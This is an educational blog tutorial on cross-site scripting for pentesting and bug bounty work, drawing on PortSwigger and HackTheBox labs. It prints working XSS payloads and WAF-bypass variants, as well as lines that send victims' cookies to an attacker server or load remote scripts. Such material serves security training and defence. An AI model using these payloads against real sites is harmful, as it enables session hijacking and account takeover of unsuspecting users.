June 14, 2026
Golden XSS Attack Guide for Modern Pentesting and Bug Bounty Hunting
Cross-site scripting this, XSS that, we all heard of XSS. But how does it really work under the hood? In this guide, we will see exactly…
opr3vail
16 min read
Cross-site scripting this, XSS that, we all heard of XSS. It has been around since 1999, yet it remains evermore relevant in the modern hacking scene, and remains at the forefront of modern web vulnerabilities.
But how does this vulnerability really work under the hood?
XSS is ultimately a valuable vulnerability to truly understand, for all vectors of cybersecurity. Be it bug bounty hunting, red teaming, penetration testing, blue teaming or application security. We are going to look under the hood and learn how it works in practice.
I frequently see ethical hackers that simply spam payloads with fuzzing tools, without properly understanding the behaviours of XSS, which leads to missed valuable context and missed bugs.
This gives you the advantage if you can fully utilize XSS — you will be able to find what other people miss, get paid on bug bounty's, secure your application, write a better pen-testing report and find interesting and creative attack chains.
There's plenty of room to get creative with XSS, and as the modern landscape of JavaScript evolves, so do the possibilities.
Severity🔴
XSS has the potential to be extremely severe and could lead to full compromise of accounts, impersonation, mass infections of all users on the target app and more.
From "Why XSS still matters: MSRC's perspective on a 25-year-old threat" By Microsoft:
"Despite advancements in browser security, content security policies (CSP), and secure-by-default libraries, XSS remains a persistent threat vector with real-world consequences."
XSS by the numbers (July 2024 — July 2025)
15% of all important or critical MSRC cases were XSS
Out of 265 XSS cases, 263 were rated Important severity and 2 were rated Critical severity. $912,300 was paid in XSS bounty awards.
This article is research based, not AI generated⚠️
This article will NOT be a lousy AI-generated overview (I do not apologize to the chatbots scraping this right now). It aims to be a guide and is based on official documentation, high quality sources, credited research, as well as my own research and experience.
Disclaimer: this article is for educational purposes ONLY. It is aimed towards Red Teamers, Bounty hunters and Blue Teamers alike for a better, more secure world. You are the only one responsible for how you use this information.
Lets go into truly understanding XSS
Simply put, XSS is a vulnerability that allows an attacker to inject scripts into a target web app. The injected script is then executed for a victim user. XSS can be executed in different ways (Reflected/DOM/Stored/Blind) which I will specify on soon.
We mainly talk about JavaScript injection when referring to XSS, though it could be other script types as well, depending on the application. I will be referring to JavaScript injections here as they are by far the most prevalent, but the concept remains the same.
The injected JavaScript could be used in many ways and could lead to very dangerous outcomes. Examples of malicious actions using XSS JavaScript injections include:
- Hijacking cookies
- Hijacking credentials
- Hijacking PII (Personally Identifiable Information)
- Hijacking Credit Card details and performing transactions
- Phishing
- Redirecting victims to an attacker controlled site
- Keyloggers
- CORS Abuse (send account information, cookies, results of actions to an attacker controlled server with a no-cors POST request)
This is just a few examples. The severity and impact depends on the web application in conjunction with the injection type.
Lets talk injection types:
Reflected XSS
The Reflected Cross-Site Scripting type is where an attacker crafts a malicious URL that contains the injection script in a user input parameter.
the simplest example:
https://target.com/gallery?search=<script>{MALICIOUS_SCRIPT}</script>https://target.com/gallery?search=<script>{MALICIOUS_SCRIPT}</script>Once the attacker sends the malicious crafted URL to a victim — and the victim opens the crafted link, if the web app is vulnerable — the injected script is executed on the victims browser.
This is called Reflected Cross-Site Scripting because it reflects the script that was injected in the URL back to the victim.
Reflected XSS usually requires some social engineering to execute a practical attack, but could also be injected in a seemingly legitimate website (as a button, link or redirect) or in a arbitrary shortened URL etc.
Since the script is executed in the context of the web app, the victims browser trusts that script as though it is native to the web application.
Any action that could be performed by the victim user on the web app could now be performed by the attacker — with the victims account. Don't visit suspicious links kids!
In Practice
To test for XSS I recommend working along side good XSS payload lists for example PortSwiggers linked here and PayloadAllThings linked here.
It is important not to just spam payloads, but to inspect and understand where the potential injection point is (through methodological testing, starting from the simplest injection, concluding behaviour and moving up) and what is likely needed to inject the payload (what HTML tags to escape, is the web app trying to validate input and/or encode output?) → test different payloads according to behaviour, like a detective, small details matter.
Start simple, HTML Injection
Good methodology is to initially test with an injection string like "test123", than inspect and CTRL+F the page to grep for the string and understand what HTML tags you want to escape. Test you can inject HTML for example;
">test123
Lets see in practice on simple examples to understand the concepts better;
The Reflection Test
After realizing the current context and potential injection points, start simple — try to perform a test with a JavaScript alert box or print payload.
Lets start with a simple example from PortSwigger:
We have a search functionality:
Lets search for "test123" to see where our string ends up on the page:
Inspect and CTRL+F to search for "test123":
We can see where our search is being used in the page. We can freely inspect the .js scripts to understand how the code works and how it might be vulnerable.
We can clearly see in the code that the search gets wrapped in quotes as a validation mechanism — to try to contain user input. Additionally if we try to escape the quotes, it cancels us out with '.
If we try a simple payload:
Under very plain circumstances with no filtering, this script should pop an alert message on the browser.
In this case the script gets wrapped in quotes and doesn't execute:
Do you notice something in the JavaScript code here?
The web app uses a script to wrap our search term in quotes. If we simply exit the script that wraps with a closing tag:
We get successful JavaScript execution — indicating a successful XSS attack🥳
Mechanics.
XSS isn't only injected using a script tag (
JavaScript code can be executed upon many events, with many different tags in many different variations (which is beneficial to an attacker🎈).
For example, we can use payload that will try to load an image from src=x:
<img src=x onerror=alert('XSS');><img src=x onerror=alert('XSS');>Since the source "x" dosen't exist — its not a valid source — the browser will execute the "onerror" event and the JavaScript code in it gets executed, in this case an alert pop up saying 'XSS', but the payload can really be anything your imagination can offer.
Lets take a look at a better example of a Reflected XSS from PortSwigger where there is a WAF (Web Application Firewall) that attempts to block the XSS attempts;
And once again, we have our search box:
Lets test the code structure to understand where we land on the page for better context:
Lets inspect the page and grep for the string we inputted "test123":
We are in a
tag. We know that the web application has a WAF that attempts to block tags, this might require some trial and error. Lets observe:
Always start simple to deduct behaviour, starting with a script tag;
The WAF Blocks us when we hit search:
We can try a different tag:
This is a classic example of the blacklisting defence. The flaw? its enough to find just one out of all the possibilities that is potentially dangerous for us to slip through.
We continue our investigation, trying many different payloads with different tags;
<div onpointerdown="alert(45)">MOVE HERE</div>
<body onload=alert(/XSS/.source)>
<input autofocus onfocus=alert(1)>
<select autofocus onfocus=alert(1)>
<textarea autofocus onfocus=alert(1)>
<keygen autofocus onfocus=alert(1)>
<video/poster/onerror=alert(1)>
<details/open/ontoggle="alert`1`">
<audio src onloadstart=alert(1)>
<marquee onstart=alert(1)>
<meter value=2 min=0 max=10 onmouseover=alert(1)>2 out of 10</meter><div onpointerdown="alert(45)">MOVE HERE</div>
<body onload=alert(/XSS/.source)>
<input autofocus onfocus=alert(1)>
<select autofocus onfocus=alert(1)>
<textarea autofocus onfocus=alert(1)>
<keygen autofocus onfocus=alert(1)>
<video/poster/onerror=alert(1)>
<details/open/ontoggle="alert`1`">
<audio src onloadstart=alert(1)>
<marquee onstart=alert(1)>
<meter value=2 min=0 max=10 onmouseover=alert(1)>2 out of 10</meter>They will all fail.
But, thats ok — trial and error leads us to prevail. We get this error message with the tag:
Instead of "Tag is not allowed" we get:
Great, this is progress! the WAF fails to filter for tag.
We can try different attributes with payloads in them, like:
<body onload=alert(1)>
<body onmessage=alert(1)>
<body onpageshow=alert(1)>
<body id=x tabindex=1 onfocusin=alert(1)></body>
<body onerror=alert(1) onload=/>
<body onbeforeprint=alert(1)>
<body onpopstate=alert()><body onload=alert(1)>
<body onmessage=alert(1)>
<body onpageshow=alert(1)>
<body id=x tabindex=1 onfocusin=alert(1)></body>
<body onerror=alert(1) onload=/>
<body onbeforeprint=alert(1)>
<body onpopstate=alert()>All these attributes fail to execute a JavaScript event. But one doesn't:
When resizing the page, we get JavaScript code execution🪄
Now we can send the Reflected XSS payload to a target victim like so (browser automatically encodes):
<https://vulnerable-webapp.com/?search=><body+onresize%3Dalert%281%29><https://vulnerable-webapp.com/?search=><body+onresize%3Dalert%281%29>And from here, the testing becomes personal to the web app — what JavaScript payload we can come up with to show the most impact?
We should always test for different tags and attributes, be persistent and methodological with trial and error.
ffuf, hydra, burp intruder, caido are nice tools for automating testing your payloads, but what separates a casual tester from someone who finds meaningful bugs is attention to detail, context and simplicity in testing, starting simple and moving up to understand behaviour.
Stored XSS
The Stored Cross-site scripting type is very fascinating, as it has unlimited potential, the more scale the more potential impact.
Stored Cross-Site scripting type is where an attacker can inject the script directly into the web application's database, to be served to unknowing users.
Sounds dangerous? because it could be very dangerous.
Once the injected script is in the database, it can be loaded by every user that visits the web application every time they visit a page where the script can get loaded from the database.
How do we know? simply put — if our input gets stored in the database with the injection script and than gets displayed for other users running the JavaScript code, it is Stored type XSS.
For a classic example, consider a comment section on a web app, or a review section, or a rating section, or a feedback section etc.
Anywhere where we might be able to inject a payload on a page that is also available to other users.
The malicious script can also be injected into the database by the attacker if they can control or replace an external endpoint that the web application trusts and fetches data from (supply chain attack).
What is practically scary with Stored XSS is that the victims are unknowing, they don't need to click anything malicious and are likely not even aware anything malicious is happening in the background.
Lets look at a simple Stored XSS example from PortSwigger;
In this web app we have a blog with a comment feature.
Let us fill up random values to test where our comments end up:
After submitting it;
Lets inspect and search for our string:
In this case, we can trivially inject a payload like , the script will be saved by the database and the code will be loaded on every page refresh for every user.
If we refresh the page to see the new comments we get a browser pop up confirming successful XSS injection;
(this is an intrusive example, always make sure you have authorization for the testing)_ Now we can attach obfuscated JavaScript code from our attacker server (using import for example) to be loaded in the background of _every user that visits the blog like with;
<script src=//attacker.server.xyz/payload.js></script><script src=//attacker.server.xyz/payload.js></script>Lets look at a slightly more realistic example
Here, we use encoding and escaping for bypassing the restrictions.
Same concept, a comment feature on a blog —
Lets submit the test values:
Comment gets posted:
This time when we inspect and search for our string we see something different;
We see an onclick event that refers to our website... interesting.
This time, there are more defence mechanisms — angle brackets and double quotes are HTML-encoded, single quotes are escaped with backslashes.
All this filtering and encoding won't allow us to break from the href="" attribute to specify our own attribute and inject an XSS payload.
It will also block us from trying to break free from the onclick="" event.
Lets see that:
If we try to specify our own attribute to inject into the tag that href="" resides in, we get met with filtering and escaping:
We are going to have to utilize the onclick event to our advantage.
By that I mean — try to make it execute our own code.
We should always think to play with encoding — what if we encode some of the HTML characters we send, is the server still going to parse them just the same?
' is a single quote ( ‘ ) in HTML entity form.
Other examples of html entity’s are:
< (less than) = <
> (greater than) = >' is a single quote ( ‘ ) in HTML entity form.
Other examples of html entity’s are:
< (less than) = <
> (greater than) = >What is HTML entity form? we can represent a character with a different encoding for HTML parsing.
We want to escape this 'http://website' portion:
That means we have to close off 'http://x' and inject the payload after it so it gets executed with the onclick event:
(we close the single quote we bypassed to not throw an error at the end).
'http://x' alert(1) ''
This, encoded — will be turned into:
http://x?'-alert(1)-'http://x?'-alert(1)-'
After submitting the payload and inspecting;
We successfully escaped the quotes, and now the browser renders the HTML entity, now coverted back from the encoding:
Now, our JavaScript code gets executed on every visit, loaded from the database and the script execution is verified;
DOM-Based XSS
Before we talk about DOM-Based XSS, lets clarify — what is the DOM and how does it play the part?
DOM (Document Object Model)
The DOM is the structure of the web application on the browser in hierarchical tree order.
JavaScript has plenty of methods that interact with the DOM (that we can utilize).
Classic example — The "window" element is what contains the whole DOM document. The "document" element is the owner of all the DOM nodes.
Take this notorious method for example:
// FETCH THE COOKIE USED WITHIN THE DOCUMENT ELEMENT
document.cookie
// EXAMPLE PAYLOAD -- SESSION HIJACK -- SEND COOKIE TO ATTACKER
<script>new Image().src="<http://attacker.server.xyz/cookie.php?c=>"+document.cookie;</script>// FETCH THE COOKIE USED WITHIN THE DOCUMENT ELEMENT
document.cookie
// EXAMPLE PAYLOAD -- SESSION HIJACK -- SEND COOKIE TO ATTACKER
<script>new Image().src="<http://attacker.server.xyz/cookie.php?c=>"+document.cookie;</script>So, DOM-Based type XSS:
If we can manipulate the DOM elements of the victims browser and inject our JavaScript code into them, we get a DOM based XSS.
This could be done for example through embedding a malicious script in a URL parameter or a form that manipulate a DOM element.
PortSwigger Academy has a great list of "sinks" which are the DOM elements targeted in DOM XSS attacks:
Through manipulation of these DOM elements, we can execute many different attacks, potentially chaining multiple lower severity attacks into a high severity attack chain.
By utilizing DOM based XSS type attacks we can potentially:
- Hijack cookies (notorious document.cookie abuse)
- Execute raw JavaScript (eval() abuse)
- Read and potentially write to server files (FileReader.readAsText() abuse)
- Redirect users from the target to an attacker controlled web app (window.location abuse)
- Modify links on the web application for a victim that clicked an infected URL (element.src abuse)
Etc. the possibilities are ♾️.
Lets see this in action!
Lets use a DOM XSS injection to steal a cookie and hijack a session (on a testing environment — I'll use the Imagery CTF from HackTheBox to demonstrate);
Lets see the DOM XSS portion; once we obtain access to a bug reporting feature within the web application we can report bugs:
Since this will be reviewed by administrators, lets send in a cookie hijacking payload, in hopes it will get executed in the background of the web apps administrators upon review;
Note — under a real-world scenario we might want to obfuscate and import a payload, but here we are doing a CTF not an engagement. Also, look for HttpOnly set to false when stealing cookies using XSS.
The payload is simple:
<img src=x onerror=fetch('<http://10.10.15.71:9009/cookie.php?c='document.cookie)><img src=x onerror=fetch('<http://10.10.15.71:9009/cookie.php?c='document.cookie)>This will execute JavaScript code that tries to load an image, fails, and on error will send a request to my attacker server IP.
The request will contain the cookie of the user that views the report (in this case — an administrator) hijacked directly from their browsers DOM.
This cookie is obtained through the DOM "document" element.
Lets see this happen;
I will set up a simple python server to listen for the fetch request to my server (with the cookie of the victim attached):
Now lets send the payload:
After submitting and waiting for the supposed admin to open my very real bug review I get their cookie and can hijack their session:
Now we can simply hop on their session by changing the application stored cookie to the admins session cookie using inspect devtools storage or proxy like burp.
Now — when we reload the page we see that we are the administrator user. We have access to the admin panel.
Bonus: Blind XSS
A very fun and interesting type, rewarding when hit.
The Blind Cross-Site scripting type happens when an injected script is eventually executed but we cannot see that it was executed.
Think for example of an XSS injection in a support ticketing system — where only once an operator opens the ticket, the payload fires.
This means that we have to track the execution of the payload, and that it might take a while, and might require some social engineering and creativity to execute faster.
Note — always make sure the system you're testing is within scope, as a ticketing system and other features might be third-party integration and out-of-scope.
Blind XSS injection works like any XSS, yet for us to see the result we need a service that monitors the payload execution closley and reports back to us.
We can use a service like the open source XSSHunter which will give us visibility and report back to us once a payload has been fired, with out of the box features like;
And more… Github page for XSSHunter linked here.
Blind XSS injection can be performed anywhere, for example any field in an ecommerce purchase, any field in a form or even User-Agent of the browser (the web app might log and monitor the security headers of users).
In a Blind XSS scenario, we want to import our script as a payload. You don't want to throw in a 600 line payload everywhere that might not execute, slightly uncomftable for everyone involved🤧.
An example use of an imported payload:
"><script src=//attacker.server.xyz/payload.js></script>
;'"><script src=//attacker.server.xyz/payload.js></script>
'";//></p></script><script src=//attacker.server.xyz/payload.js></script>"><script src=//attacker.server.xyz/payload.js></script>
;'"><script src=//attacker.server.xyz/payload.js></script>
'";//></p></script><script src=//attacker.server.xyz/payload.js></script>Congratulations! you can now competently explain what XSS is, distinguish between the types (Reflected/Stored/DOM/Blind) and coherently test for Cross-site scripting injections, good luck!
Hey, thanks for reading! Hope you learned something new, if you are interested in Offensive Security talk — come chat on Linkedin:
https://www.linkedin.com/in/amit-segev-whoami/
Consider checking out my other research, stay tuned for more🤠
Remember, its better to stay ethical than stay in a cell!
We need you out there.